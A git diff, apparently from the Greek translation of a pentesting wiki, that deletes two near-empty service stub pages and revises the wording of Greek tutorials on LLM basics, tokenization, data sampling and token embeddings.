diff --git a/src/1911-pentesting-fox.md b/src/1911-pentesting-fox.md deleted file mode 100644 index 58cea282f..000000000 --- a/src/1911-pentesting-fox.md +++ /dev/null @@ -1,29 +0,0 @@ -# 1911 - Pentesting fox - -{{#include ./banners/hacktricks-training.md}} - -Και περισσότερες υπηρεσίες: - -ubiquiti-discover udp "Ubiquiti Networks Device" - -dht udp "DHT Nodes" - -5060 udp sip "SIP/" - -![]() - -![]() - -InfluxDB - -![]() - -![]() - -![]() - -![]() - -![]() - -{{#include ./banners/hacktricks-training.md}} diff --git a/src/6881-udp-pentesting-bittorrent.md b/src/6881-udp-pentesting-bittorrent.md deleted file mode 100644 index 070c6aef8..000000000 --- a/src/6881-udp-pentesting-bittorrent.md +++ /dev/null @@ -1,3 +0,0 @@ -{{#include ./banners/hacktricks-training.md}} - -{{#include ./banners/hacktricks-training.md}} diff --git a/src/AI/AI-llm-architecture/0.-basic-llm-concepts.md b/src/AI/AI-llm-architecture/0.-basic-llm-concepts.md index 67db1d0da..03d47cfef 100644 --- a/src/AI/AI-llm-architecture/0.-basic-llm-concepts.md +++ b/src/AI/AI-llm-architecture/0.-basic-llm-concepts.md @@ -1,14 +1,16 @@ # 0. Βασικές έννοιες LLM +{{#include /banners/hacktricks-training.md}} + ## Προεκπαίδευση -Η προεκπαίδευση είναι η θεμελιώδης φάση στην ανάπτυξη ενός μεγάλου γλωσσικού μοντέλου (LLM) όπου το μοντέλο εκτίθεται σε τεράστιες και ποικιλόμορφες ποσότητες δεδομένων κειμένου. Κατά τη διάρκεια αυτής της φάσης, **το LLM μαθαίνει τις θεμελιώδεις δομές, τα μοτίβα και τις αποχρώσεις της γλώσσας**, συμπεριλαμβανομένης της γραμματικής, του λεξιλογίου, της σύνταξης και των συμφραζομένων σχέσεων. Επεξεργαζόμενο αυτά τα εκτενή δεδομένα, το μοντέλο αποκτά μια ευρεία κατανόηση της γλώσσας και της γενικής γνώσης του κόσμου. Αυτή η ολοκληρωμένη βάση επιτρέπει στο LLM να παράγει συνεκτικό και σχετικό κείμενο. Στη συνέχεια, αυτό το προεκπαιδευμένο μοντέλο μπορεί να υποβληθεί σε λεπτομερή εκπαίδευση, όπου εκπαιδεύεται περαιτέρω σε εξειδικευμένα σύνολα δεδομένων για να προσαρμόσει τις ικανότητές του σε συγκεκριμένες εργασίες ή τομείς, βελτιώνοντας την απόδοσή του και τη σχετικότητα σε στοχευμένες εφαρμογές. +Η προεκπαίδευση είναι η θεμελιώδης φάση στην ανάπτυξη ενός μεγάλου γλωσσικού μοντέλου (LLM) όπου το μοντέλο εκτίθεται σε τεράστιες και ποικιλόμορφες ποσότητες δεδομένων κειμένου. Κατά τη διάρκεια αυτής της φάσης, **το LLM μαθαίνει τις θεμελιώδεις δομές, τα μοτίβα και τις αποχρώσεις της γλώσσας**, συμπεριλαμβανομένης της γραμματικής, του λεξιλογίου, της σύνταξης και των συμφραζομένων σχέσεων. Επεξεργαζόμενο αυτά τα εκτενή δεδομένα, το μοντέλο αποκτά μια ευρεία κατανόηση της γλώσσας και της γενικής γνώσης του κόσμου. Αυτή η ολοκληρωμένη βάση επιτρέπει στο LLM να παράγει συνεκτικό και σχετικό κείμενο με το συμφραζόμενο. Στη συνέχεια, αυτό το προεκπαιδευμένο μοντέλο μπορεί να υποβληθεί σε λεπτομερή εκπαίδευση, όπου εκπαιδεύεται περαιτέρω σε εξειδικευμένα σύνολα δεδομένων για να προσαρμόσει τις ικανότητές του σε συγκεκριμένες εργασίες ή τομείς, βελτιώνοντας την απόδοσή του και τη σχετικότητα σε στοχευμένες εφαρμογές. ## Κύρια στοιχεία LLM Συνήθως, ένα LLM χαρακτηρίζεται από τη διαμόρφωση που χρησιμοποιείται για την εκπαίδευσή του. Αυτά είναι τα κοινά στοιχεία κατά την εκπαίδευση ενός LLM: -- **Παράμετροι**: Οι παράμετροι είναι τα **μαθησιακά βάρη και προκαταλήψεις** στο νευρωνικό δίκτυο. Αυτοί είναι οι αριθμοί που η διαδικασία εκπαίδευσης προσαρμόζει για να ελαχιστοποιήσει τη συνάρτηση απώλειας και να βελτιώσει την απόδοση του μοντέλου στην εργασία. Τα LLM συνήθως χρησιμοποιούν εκατομμύρια παραμέτρους. +- **Παράμετροι**: Οι παράμετροι είναι τα **μαθησιακά βάρη και οι προκαταλήψεις** στο νευρωνικό δίκτυο. Αυτοί είναι οι αριθμοί που προσαρμόζει η διαδικασία εκπαίδευσης για να ελαχιστοποιήσει τη συνάρτηση απώλειας και να βελτιώσει την απόδοση του μοντέλου στην εργασία. Τα LLM συνήθως χρησιμοποιούν εκατομμύρια παραμέτρους. - **Μήκος συμφραζομένων**: Αυτό είναι το μέγιστο μήκος κάθε πρότασης που χρησιμοποιείται για την προεκπαίδευση του LLM. - **Διάσταση ενσωμάτωσης**: Το μέγεθος του διανύσματος που χρησιμοποιείται για να αναπαραστήσει κάθε token ή λέξη. Τα LLM συνήθως χρησιμοποιούν δισεκατομμύρια διαστάσεις. - **Κρυφή διάσταση**: Το μέγεθος των κρυφών στρωμάτων στο νευρωνικό δίκτυο. @@ -45,7 +47,7 @@ GPT_CONFIG_124M = { ### PyTorch Tensors vs. NumPy Arrays -Ενώ τα tensors του PyTorch είναι παρόμοια με τους πίνακες NumPy στην ικανότητά τους να αποθηκεύουν και να χειρίζονται αριθμητικά δεδομένα, προσφέρουν επιπλέον λειτουργίες που είναι κρίσιμες για τη βαθιά μάθηση: +Ενώ τα tensors του PyTorch είναι παρόμοια με τους πίνακες NumPy στην ικανότητά τους να αποθηκεύουν και να χειρίζονται αριθμητικά δεδομένα, προσφέρουν επιπλέον λειτουργίες κρίσιμες για τη βαθιά μάθηση: - **Automatic Differentiation**: Τα tensors του PyTorch υποστηρίζουν αυτόματη υπολογισμό παραγώγων (autograd), που απλοποιεί τη διαδικασία υπολογισμού παραγώγων που απαιτούνται για την εκπαίδευση νευρωνικών δικτύων. - **GPU Acceleration**: Τα tensors στο PyTorch μπορούν να μεταφερθούν και να υπολογιστούν σε GPUs, επιταχύνοντας σημαντικά τους υπολογισμούς μεγάλης κλίμακας. @@ -103,7 +105,7 @@ print(tensor2d.shape) # Output: torch.Size([2, 2]) reshaped = tensor2d.reshape(4, 1) ``` -- **Μεταθέτοντας Τεσσάρων**: Χρησιμοποιήστε το `.T` για να μεταθέσετε ένα 2D τεσσάρο. +- **Μεταθέσεις Τεσσάρων**: Χρησιμοποιήστε το `.T` για να μεταθέσετε ένα 2D τεσσάρο. ```python transposed = tensor2d.T @@ -149,7 +151,7 @@ result = tensor2d @ tensor2d.T Όπου: -- `σ(z)` είναι η συνάρτηση sigmoid. +- `σ(z)` είναι η συνάρτηση σιγμοειδούς. - `y=1.0` είναι η στοχευμένη ετικέτα. - `L` είναι η απώλεια. @@ -221,7 +223,7 @@ Gradient w.r.t b: tensor([-0.0817]) ### **4. PyTorch Implementation** -Το PyTorch απλοποιεί αυτή τη διαδικασία με τον κινητήρα autograd του. +Το PyTorch απλοποιεί αυτή τη διαδικασία με την μηχανή autograd του. ```python import torch import torch.nn as nn @@ -280,6 +282,8 @@ print(f"Gradient of {name}: {param.grad}") ### **6. Πλεονεκτήματα της Αυτόματης Διαφοροποίησης** -- **Efficiency:** Αποφεύγει περιττούς υπολογισμούς επαναχρησιμοποιώντας ενδιάμεσα αποτελέσματα. -- **Accuracy:** Παρέχει ακριβείς παραγώγους μέχρι την ακρίβεια της μηχανής. -- **Ease of Use:** Εξαλείφει τον χειροκίνητο υπολογισμό παραγώγων. +- **Αποτελεσματικότητα:** Αποφεύγει περιττούς υπολογισμούς επαναχρησιμοποιώντας ενδιάμεσα αποτελέσματα. +- **Ακρίβεια:** Παρέχει ακριβείς παραγώγους μέχρι την ακρίβεια της μηχανής. +- **Ευκολία Χρήσης:** Εξαλείφει τον χειροκίνητο υπολογισμό παραγώγων. + +{{#include /banners/hacktricks-training.md}} diff --git a/src/AI/AI-llm-architecture/1.-tokenizing.md b/src/AI/AI-llm-architecture/1.-tokenizing.md index ca2502cce..e4c9448ac 100644 --- a/src/AI/AI-llm-architecture/1.-tokenizing.md +++ b/src/AI/AI-llm-architecture/1.-tokenizing.md @@ -1,5 +1,7 @@ # 1. Tokenizing +{{#include /banners/hacktricks-training.md}} + ## Tokenizing **Tokenizing** είναι η διαδικασία διάσπασης δεδομένων, όπως το κείμενο, σε μικρότερα, διαχειρίσιμα κομμάτια που ονομάζονται _tokens_. Κάθε token ανατίθεται σε έναν μοναδικό αριθμητικό αναγνωριστικό (ID). Αυτό είναι ένα θεμελιώδες βήμα στην προετοιμασία του κειμένου για επεξεργασία από μοντέλα μηχανικής μάθησης, ειδικά στην επεξεργασία φυσικής γλώσσας (NLP). @@ -15,7 +17,7 @@ Κείμενο: `"Hello, world!"`\ Tokens: `["Hello", ",", "world", "!"]` 2. **Creating a Vocabulary:** -- Για να μετατρέψει τα tokens σε αριθμητικά IDs, δημιουργείται ένα **λεξιλόγιο**. Αυτό το λεξιλόγιο απαριθμεί όλα τα μοναδικά tokens (λέξεις και σύμβολα) και αναθέτει σε κάθε ένα έναν συγκεκριμένο ID. +- Για να μετατραπούν τα tokens σε αριθμητικά IDs, δημιουργείται ένα **λεξιλόγιο**. Αυτό το λεξιλόγιο απαριθμεί όλα τα μοναδικά tokens (λέξεις και σύμβολα) και αναθέτει σε κάθε ένα έναν συγκεκριμένο ID. - **Special Tokens:** Αυτά είναι ειδικά σύμβολα που προστίθενται στο λεξιλόγιο για να χειριστούν διάφορα σενάρια: - `[BOS]` (Beginning of Sequence): Υποδεικνύει την αρχή ενός κειμένου. - `[EOS]` (End of Sequence): Υποδεικνύει το τέλος ενός κειμένου. @@ -40,17 +42,17 @@ _(Υποθέτοντας ότι το `[UNK]` έχει ID `987`)_ - Συγχωνεύει επαναληπτικά τα πιο συχνά ζεύγη tokens σε ένα μόνο token. - Συνεχίζει μέχρι να μην μπορούν να συγχωνευτούν περισσότερα συχνά ζεύγη. - **Benefits:** -- Εξαλείφει την ανάγκη για ένα token `[UNK]` καθώς όλες οι λέξεις μπορούν να αναπαρασταθούν συνδυάζοντας υπάρχοντα υπολέξεις tokens. +- Εξαλείφει την ανάγκη για ένα token `[UNK]` καθώς όλες οι λέξεις μπορούν να αναπαρασταθούν συνδυάζοντας υπάρχοντα subword tokens. - Πιο αποδοτικό και ευέλικτο λεξιλόγιο. - _Example:_\ -`"playing"` μπορεί να διασπαστεί ως `["play", "ing"]` αν το `"play"` και το `"ing"` είναι συχνές υπολέξεις. +`"playing"` μπορεί να διασπαστεί ως `["play", "ing"]` αν το `"play"` και το `"ing"` είναι συχνά subwords. 2. **WordPiece:** - **Used By:** Μοντέλα όπως το BERT. - **Purpose:** Παρόμοιο με το BPE, διασπά τις λέξεις σε υπομονάδες για να χειριστεί άγνωστες λέξεις και να μειώσει το μέγεθος του λεξιλογίου. - **How It Works:** - Ξεκινά με ένα βασικό λεξιλόγιο από μεμονωμένους χαρακτήρες. -- Προσθέτει επαναληπτικά την πιο συχνή υπολέξη που μεγιστοποιεί την πιθανότητα των δεδομένων εκπαίδευσης. -- Χρησιμοποιεί ένα πιθανοτικό μοντέλο για να αποφασίσει ποιες υπολέξεις να συγχωνεύσει. +- Προσθέτει επαναληπτικά το πιο συχνό subword που μεγιστοποιεί την πιθανότητα των δεδομένων εκπαίδευσης. +- Χρησιμοποιεί ένα πιθανοτικό μοντέλο για να αποφασίσει ποια subwords να συγχωνεύσει. - **Benefits:** - Ισορροπεί μεταξύ του να έχει ένα διαχειρίσιμο μέγεθος λεξιλογίου και να αναπαριστά αποτελεσματικά τις λέξεις. - Χειρίζεται αποδοτικά σπάνιες και σύνθετες λέξεις. @@ -58,7 +60,7 @@ _(Υποθέτοντας ότι το `[UNK]` έχει ID `987`)_ `"unhappiness"` μπορεί να διασπαστεί ως `["un", "happiness"]` ή `["un", "happy", "ness"]` ανάλογα με το λεξιλόγιο. 3. **Unigram Language Model:** - **Used By:** Μοντέλα όπως το SentencePiece. -- **Purpose:** Χρησιμοποιεί ένα πιθανοτικό μοντέλο για να προσδιορίσει το πιο πιθανό σύνολο υπολέξεων tokens. +- **Purpose:** Χρησιμοποιεί ένα πιθανοτικό μοντέλο για να προσδιορίσει το πιο πιθανό σύνολο subword tokens. - **How It Works:** - Ξεκινά με ένα μεγάλο σύνολο πιθανών tokens. - Αφαιρεί επαναληπτικά tokens που λιγότερο βελτιώνουν την πιθανότητα του μοντέλου για τα δεδομένα εκπαίδευσης. @@ -67,7 +69,7 @@ _(Υποθέτοντας ότι το `[UNK]` έχει ID `987`)_ - Ευέλικτο και μπορεί να μοντελοποιήσει τη γλώσσα πιο φυσικά. - Συχνά οδηγεί σε πιο αποδοτικές και συμπαγείς tokenizations. - _Example:_\ -`"internationalization"` μπορεί να διασπαστεί σε μικρότερες, σημασιολογικά σημαντικές υπολέξεις όπως `["international", "ization"]`. +`"internationalization"` μπορεί να διασπαστεί σε μικρότερες, σημασιολογικά σημαντικές υπομονάδες όπως `["international", "ization"]`. ## Code Example @@ -93,3 +95,6 @@ print(token_ids[:50]) ## Αναφορές - [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch) + + +{{#include /banners/hacktricks-training.md}} diff --git a/src/AI/AI-llm-architecture/2.-data-sampling.md b/src/AI/AI-llm-architecture/2.-data-sampling.md index 79079b5c2..167360164 100644 --- a/src/AI/AI-llm-architecture/2.-data-sampling.md +++ b/src/AI/AI-llm-architecture/2.-data-sampling.md @@ -1,5 +1,7 @@ # 2. Δειγματοληψία Δεδομένων +{{#include /banners/hacktricks-training.md}} + ## **Δειγματοληψία Δεδομένων** Η **Δειγματοληψία Δεδομένων** είναι μια κρίσιμη διαδικασία στην προετοιμασία δεδομένων για την εκπαίδευση μεγάλων γλωσσικών μοντέλων (LLMs) όπως το GPT. Περιλαμβάνει την οργάνωση των κειμένων σε εισόδους και στόχους που το μοντέλο χρησιμοποιεί για να μάθει πώς να προβλέπει την επόμενη λέξη (ή το token) με βάση τις προηγούμενες λέξεις. Η σωστή δειγματοληψία δεδομένων διασφαλίζει ότι το μοντέλο συλλαμβάνει αποτελεσματικά τα γλωσσικά μοτίβα και τις εξαρτήσεις. @@ -7,15 +9,15 @@ > [!TIP] > Ο στόχος αυτής της δεύτερης φάσης είναι πολύ απλός: **Δειγματοληψία των εισερχόμενων δεδομένων και προετοιμασία τους για τη φάση εκπαίδευσης, συνήθως διαχωρίζοντας το σύνολο δεδομένων σε προτάσεις συγκεκριμένου μήκους και δημιουργώντας επίσης την αναμενόμενη απάντηση.** -### **Γιατί η Δειγματοληψία Δεδομένων έχει Σημασία** +### **Γιατί η Δειγματοληψία Δεδομένων Έχει Σημασία** Τα LLMs όπως το GPT εκπαιδεύονται να παράγουν ή να προβλέπουν κείμενο κατανοώντας το πλαίσιο που παρέχεται από τις προηγούμενες λέξεις. Για να επιτευχθεί αυτό, τα δεδομένα εκπαίδευσης πρέπει να είναι δομημένα με τρόπο που το μοντέλο να μπορεί να μάθει τη σχέση μεταξύ ακολουθιών λέξεων και των επόμενων λέξεων τους. Αυτή η δομημένη προσέγγιση επιτρέπει στο μοντέλο να γενικεύει και να παράγει συνεκτικό και σχετικό κείμενο. ### **Βασικές Έννοιες στη Δειγματοληψία Δεδομένων** 1. **Tokenization:** Διαχωρισμός του κειμένου σε μικρότερες μονάδες που ονομάζονται tokens (π.χ., λέξεις, υπολέξεις ή χαρακτήρες). -2. **Μήκος Ακολουθίας (max_length):** Ο αριθμός των tokens σε κάθε ακολουθία εισόδου. -3. **Ολισθητό Παράθυρο:** Μια μέθοδος για τη δημιουργία επικαλυπτόμενων ακολουθιών εισόδου μετακινώντας ένα παράθυρο πάνω από το κειμένο που έχει διαχωριστεί σε tokens. +2. **Μήκος Ακολουθίας (max_length):** Ο αριθμός των tokens σε κάθε εισερχόμενη ακολουθία. +3. **Ολισθητό Παράθυρο:** Μια μέθοδος για τη δημιουργία επικαλυπτόμενων εισερχόμενων ακολουθιών μετακινώντας ένα παράθυρο πάνω από το κειμένο που έχει διαχωριστεί σε tokens. 4. **Stride:** Ο αριθμός των tokens που το ολισθητό παράθυρο μετακινείται προς τα εμπρός για να δημιουργήσει την επόμενη ακολουθία. ### **Βήμα-Βήμα Παράδειγμα** @@ -35,18 +37,18 @@ Tokens: ["Lorem", "ipsum", "dolor", "sit", "amet,", "consectetur", "adipiscing", **Παράμετροι** - **Μέγιστο Μήκος Ακολουθίας (max_length):** 4 tokens -- **Βήμα Ολίσθησης:** 1 token +- **Βήμα Ολισθηρού Παραθύρου:** 1 token -**Δημιουργία Εισόδων και Στοχαστικών Ακολουθιών** +**Δημιουργία Εισόδων και Στοχευμένων Ακολουθιών** -1. **Προσέγγιση Ολίσθησης:** +1. **Προσέγγιση Ολισθηρού Παραθύρου:** - **Εισόδους:** Κάθε είσοδος αποτελείται από `max_length` tokens. -- **Στοχαστικές Ακολουθίες:** Κάθε στοχαστική ακολουθία αποτελείται από τα tokens που ακολουθούν άμεσα την αντίστοιχη είσοδο. +- **Στοχευμένες Ακολουθίες:** Κάθε στοχευμένη ακολουθία αποτελείται από τα tokens που ακολουθούν άμεσα την αντίστοιχη είσοδο. 2. **Δημιουργία Ακολουθιών:** -
Θέση ΠαραθύρουΕίσοδοςΣτοχαστική Ακολουθία
1["Lorem", "ipsum", "dolor", "sit"]["ipsum", "dolor", "sit", "amet,"]
2["ipsum", "dolor", "sit", "amet,"]["dolor", "sit", "amet,", "consectetur"]
3["dolor", "sit", "amet,", "consectetur"]["sit", "amet,", "consectetur", "adipiscing"]
4["sit", "amet,", "consectetur", "adipiscing"]["amet,", "consectetur", "adipiscing", "elit."]
+
Θέση ΠαραθύρουΕίσοδοςΣτοχευμένη Ακολουθία
1["Lorem", "ipsum", "dolor", "sit"]["ipsum", "dolor", "sit", "amet,"]
2["ipsum", "dolor", "sit", "amet,"]["dolor", "sit", "amet,", "consectetur"]
3["dolor", "sit", "amet,", "consectetur"]["sit", "amet,", "consectetur", "adipiscing"]
4["sit", "amet,", "consectetur", "adipiscing"]["amet,", "consectetur", "adipiscing", "elit."]
-3. **Αποτελέσματα Εισόδων και Στοχαστικών Πινάκων:** +3. **Αποτελέσματα Εισόδων και Στοχευμένων Πινάκων:** - **Είσοδος:** @@ -59,7 +61,7 @@ Tokens: ["Lorem", "ipsum", "dolor", "sit", "amet,", "consectetur", "adipiscing", ] ``` -- **Στοχαστική Ακολουθία:** +- **Στοχευμένη:** ```python [ @@ -74,26 +76,26 @@ Tokens: ["Lorem", "ipsum", "dolor", "sit", "amet,", "consectetur", "adipiscing",
Θέση TokenToken
1Lorem
2ipsum
3dolor
4sit
5amet,
6consectetur
7adipiscing
8elit.
-**Ολίσθηση με Βήμα 1:** +**Ολισθηρό Παράθυρο με Βήμα 1:** -- **Πρώτο Παράθυρο (Θέσεις 1-4):** \["Lorem", "ipsum", "dolor", "sit"] → **Στοχαστική Ακολουθία:** \["ipsum", "dolor", "sit", "amet,"] -- **Δεύτερο Παράθυρο (Θέσεις 2-5):** \["ipsum", "dolor", "sit", "amet,"] → **Στοχαστική Ακολουθία:** \["dolor", "sit", "amet,", "consectetur"] -- **Τρίτο Παράθυρο (Θέσεις 3-6):** \["dolor", "sit", "amet,", "consectetur"] → **Στοχαστική Ακολουθία:** \["sit", "amet,", "consectetur", "adipiscing"] -- **Τέταρτο Παράθυρο (Θέσεις 4-7):** \["sit", "amet,", "consectetur", "adipiscing"] → **Στοχαστική Ακολουθία:** \["amet,", "consectetur", "adipiscing", "elit."] +- **Πρώτο Παράθυρο (Θέσεις 1-4):** \["Lorem", "ipsum", "dolor", "sit"] → **Στοχευμένη:** \["ipsum", "dolor", "sit", "amet,"] +- **Δεύτερο Παράθυρο (Θέσεις 2-5):** \["ipsum", "dolor", "sit", "amet,"] → **Στοχευμένη:** \["dolor", "sit", "amet,", "consectetur"] +- **Τρίτο Παράθυρο (Θέσεις 3-6):** \["dolor", "sit", "amet,", "consectetur"] → **Στοχευμένη:** \["sit", "amet,", "consectetur", "adipiscing"] +- **Τέταρτο Παράθυρο (Θέσεις 4-7):** \["sit", "amet,", "consectetur", "adipiscing"] → **Στοχευμένη:** \["amet,", "consectetur", "adipiscing", "elit."] **Κατανόηση Βήματος** - **Βήμα 1:** Το παράθυρο προχωράει μπροστά κατά ένα token κάθε φορά, με αποτέλεσμα πολύ επικαλυπτόμενες ακολουθίες. Αυτό μπορεί να οδηγήσει σε καλύτερη εκμάθηση των συμφραζομένων αλλά μπορεί να αυξήσει τον κίνδυνο υπερπροσαρμογής καθώς τα παρόμοια σημεία δεδομένων επαναλαμβάνονται. - **Βήμα 2:** Το παράθυρο προχωράει μπροστά κατά δύο tokens κάθε φορά, μειώνοντας την επικάλυψη. Αυτό μειώνει την πλεονασματικότητα και το υπολογιστικό φορτίο αλλά μπορεί να χάσει κάποιες λεπτομέρειες συμφραζομένων. -- **Βήμα Ίσο με το max_length:** Το παράθυρο προχωράει μπροστά κατά το συνολικό μέγεθος του παραθύρου, με αποτέλεσμα μη επικαλυπτόμενες ακολουθίες. Αυτό ελαχιστοποιεί την πλεονασματικότητα των δεδομένων αλλά μπορεί να περιορίσει την ικανότητα του μοντέλου να μάθει εξαρτήσεις μεταξύ των ακολουθιών. +- **Βήμα Ίσο με max_length:** Το παράθυρο προχωράει μπροστά κατά το συνολικό μέγεθος του παραθύρου, με αποτέλεσμα μη επικαλυπτόμενες ακολουθίες. Αυτό ελαχιστοποιεί την πλεονασματικότητα των δεδομένων αλλά μπορεί να περιορίσει την ικανότητα του μοντέλου να μάθει εξαρτήσεις μεταξύ των ακολουθιών. **Παράδειγμα με Βήμα 2:** -Χρησιμοποιώντας το ίδιο κείμενο με tokens και `max_length` 4: +Χρησιμοποιώντας το ίδιο κωδικοποιημένο κείμενο και `max_length` 4: -- **Πρώτο Παράθυρο (Θέσεις 1-4):** \["Lorem", "ipsum", "dolor", "sit"] → **Στοχαστική Ακολουθία:** \["ipsum", "dolor", "sit", "amet,"] -- **Δεύτερο Παράθυρο (Θέσεις 3-6):** \["dolor", "sit", "amet,", "consectetur"] → **Στοχαστική Ακολουθία:** \["sit", "amet,", "consectetur", "adipiscing"] -- **Τρίτο Παράθυρο (Θέσεις 5-8):** \["amet,", "consectetur", "adipiscing", "elit."] → **Στοχαστική Ακολουθία:** \["consectetur", "adipiscing", "elit.", "sed"] _(Υποθέτοντας συνέχεια)_ +- **Πρώτο Παράθυρο (Θέσεις 1-4):** \["Lorem", "ipsum", "dolor", "sit"] → **Στοχευμένη:** \["ipsum", "dolor", "sit", "amet,"] +- **Δεύτερο Παράθυρο (Θέσεις 3-6):** \["dolor", "sit", "amet,", "consectetur"] → **Στοχευμένη:** \["sit", "amet,", "consectetur", "adipiscing"] +- **Τρίτο Παράθυρο (Θέσεις 5-8):** \["amet,", "consectetur", "adipiscing", "elit."] → **Στοχευμένη:** \["consectetur", "adipiscing", "elit.", "sed"] _(Υποθέτοντας συνέχεια)_ ## Παράδειγμα Κώδικα @@ -231,3 +233,6 @@ tensor([[ 367, 2885, 1464, 1807], ## Αναφορές - [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch) + + +{{#include /banners/hacktricks-training.md}} diff --git a/src/AI/AI-llm-architecture/3.-token-embeddings.md b/src/AI/AI-llm-architecture/3.-token-embeddings.md index 7eb95444d..046f6e643 100644 --- a/src/AI/AI-llm-architecture/3.-token-embeddings.md +++ b/src/AI/AI-llm-architecture/3.-token-embeddings.md @@ -1,21 +1,23 @@ # 3. Token Embeddings +{{#include /banners/hacktricks-training.md}} + ## Token Embeddings Μετά την τοκενικοποίηση των δεδομένων κειμένου, το επόμενο κρίσιμο βήμα στην προετοιμασία των δεδομένων για την εκπαίδευση μεγάλων γλωσσικών μοντέλων (LLMs) όπως το GPT είναι η δημιουργία **token embeddings**. Τα token embeddings μετατρέπουν διακριτούς τοκένες (όπως λέξεις ή υπολέξεις) σε συνεχείς αριθμητικούς διανύσματα που το μοντέλο μπορεί να επεξεργαστεί και να μάθει από αυτά. Αυτή η εξήγηση αναλύει τα token embeddings, την αρχικοποίησή τους, τη χρήση τους και τον ρόλο των θέσεων embeddings στην ενίσχυση της κατανόησης του μοντέλου για τις ακολουθίες τοκένων. > [!TIP] -> Ο στόχος αυτής της τρίτης φάσης είναι πολύ απλός: **Αναθέστε σε κάθε από τους προηγούμενους τοκένες στο λεξιλόγιο ένα διάνυσμα των επιθυμητών διαστάσεων για να εκπαιδεύσετε το μοντέλο.** Κάθε λέξη στο λεξιλόγιο θα έχει ένα σημείο σε έναν χώρο X διαστάσεων.\ -> Σημειώστε ότι αρχικά η θέση κάθε λέξης στο χώρο είναι απλώς αρχικοποιημένη "τυχαία" και αυτές οι θέσεις είναι παραμέτροι που εκπαιδεύονται (θα βελτιωθούν κατά τη διάρκεια της εκπαίδευσης). +> Ο στόχος αυτής της τρίτης φάσης είναι πολύ απλός: **Αναθέστε σε κάθε από τους προηγούμενους τοκένες στο λεξιλόγιο ένα διανύσμα των επιθυμητών διαστάσεων για να εκπαιδεύσετε το μοντέλο.** Κάθε λέξη στο λεξιλόγιο θα έχει ένα σημείο σε έναν χώρο X διαστάσεων.\ +> Σημειώστε ότι αρχικά η θέση κάθε λέξης στο χώρο είναι απλώς αρχικοποιημένη "τυχαία" και αυτές οι θέσεις είναι παραμέτροι που μπορούν να εκπαιδευτούν (θα βελτιωθούν κατά τη διάρκεια της εκπαίδευσης). > -> Επιπλέον, κατά τη διάρκεια της τοκενικής ενσωμάτωσης **δημιουργείται ένα άλλο επίπεδο ενσωματώσεων** που αντιπροσωπεύει (σε αυτή την περίπτωση) τη **απόλυτη θέση της λέξης στην προτασιακή εκπαίδευση**. Με αυτόν τον τρόπο, μια λέξη σε διαφορετικές θέσεις στην πρόταση θα έχει διαφορετική αναπαράσταση (νόημα). +> Επιπλέον, κατά τη διάρκεια της **τοκενικής ενσωμάτωσης δημιουργείται μια άλλη στρώση ενσωματώσεων** που αντιπροσωπεύει (σε αυτή την περίπτωση) τη **απόλυτη θέση της λέξης στην προτασιακή εκπαίδευση**. Με αυτόν τον τρόπο, μια λέξη σε διαφορετικές θέσεις στην πρόταση θα έχει διαφορετική αναπαράσταση (νόημα). ### **What Are Token Embeddings?** -**Token Embeddings** είναι αριθμητικές αναπαραστάσεις τοκένων σε έναν συνεχόμενο χώρο διανυσμάτων. Κάθε τοκέν στο λεξιλόγιο συνδέεται με ένα μοναδικό διάνυσμα σταθερών διαστάσεων. Αυτά τα διανύσματα αποτυπώνουν τη σημασιολογική και συντακτική πληροφορία σχετικά με τους τοκένες, επιτρέποντας στο μοντέλο να κατανοήσει τις σχέσεις και τα μοτίβα στα δεδομένα. +**Token Embeddings** είναι αριθμητικές αναπαραστάσεις τοκένων σε έναν συνεχόμενο χώρο διανυσμάτων. Κάθε τοκέν στο λεξιλόγιο συνδέεται με ένα μοναδικό διανύσμα σταθερών διαστάσεων. Αυτά τα διανύσματα αποτυπώνουν τη σημασιολογική και συντακτική πληροφορία σχετικά με τους τοκένες, επιτρέποντας στο μοντέλο να κατανοήσει τις σχέσεις και τα μοτίβα στα δεδομένα. - **Vocabulary Size:** Ο συνολικός αριθμός μοναδικών τοκένων (π.χ., λέξεις, υπολέξεις) στο λεξιλόγιο του μοντέλου. -- **Embedding Dimensions:** Ο αριθμός αριθμητικών τιμών (διαστάσεων) στο διάνυσμα κάθε τοκέν. Οι υψηλότερες διαστάσεις μπορούν να αποτυπώσουν πιο λεπτομερείς πληροφορίες αλλά απαιτούν περισσότερους υπολογιστικούς πόρους. +- **Embedding Dimensions:** Ο αριθμός αριθμητικών τιμών (διαστάσεων) στο διανύσμα κάθε τοκέν. Υψηλότερες διαστάσεις μπορούν να αποτυπώσουν πιο λεπτομερείς πληροφορίες αλλά απαιτούν περισσότερους υπολογιστικούς πόρους. **Example:** @@ -70,7 +72,7 @@ tensor([[-0.4015, 0.9666, -1.1481]], grad_fn=) - Το token στον δείκτη `3` αναπαρίσταται από το διάνυσμα `[-0.4015, 0.9666, -1.1481]`. - Αυτές οι τιμές είναι παραμέτροι που μπορούν να εκπαιδευτούν και που το μοντέλο θα προσαρμόσει κατά τη διάρκεια της εκπαίδευσης για να αναπαραστήσει καλύτερα το πλαίσιο και τη σημασία του token. -### **Πώς Λειτουργούν οι Ενσωματώσεις Tokens Κατά τη Διάρκεια της Εκπαίδευσης** +### **Πώς Λειτουργούν οι Ενσωματώσεις Token Κατά τη Διάρκεια της Εκπαίδευσης** Κατά τη διάρκεια της εκπαίδευσης, κάθε token στα δεδομένα εισόδου μετατρέπεται στο αντίστοιχο διάνυσμά του. Αυτά τα διανύσματα χρησιμοποιούνται στη συνέχεια σε διάφορους υπολογισμούς μέσα στο μοντέλο, όπως μηχανισμούς προσοχής και στρώματα νευρωνικών δικτύων. @@ -83,7 +85,7 @@ tensor([[-0.4015, 0.9666, -1.1481]], grad_fn=) **Δομή Δεδομένων:** - Κάθε παρτίδα αναπαρίσταται ως ένας 3D τενζόρ με σχήμα `(batch_size, max_length, embedding_dim)`. -- Για το παράδειγμά μας, το σχήμα θα ήταν `(8, 4, 256)`. +- Για το παράδειγμά μας, το σχήμα θα είναι `(8, 4, 256)`. **Οπτικοποίηση:** ```css @@ -118,12 +120,12 @@ cssCopy codeBatch ``` **Εξήγηση:** -- Κάθε token στη σειρά αναπαρίσταται από ένα διανυσματικό 256 διαστάσεων. +- Κάθε token στη σειρά αναπαρίσταται από έναν διανυσματικό χώρο 256 διαστάσεων. - Το μοντέλο επεξεργάζεται αυτές τις αναπαραστάσεις για να μάθει γλωσσικά μοτίβα και 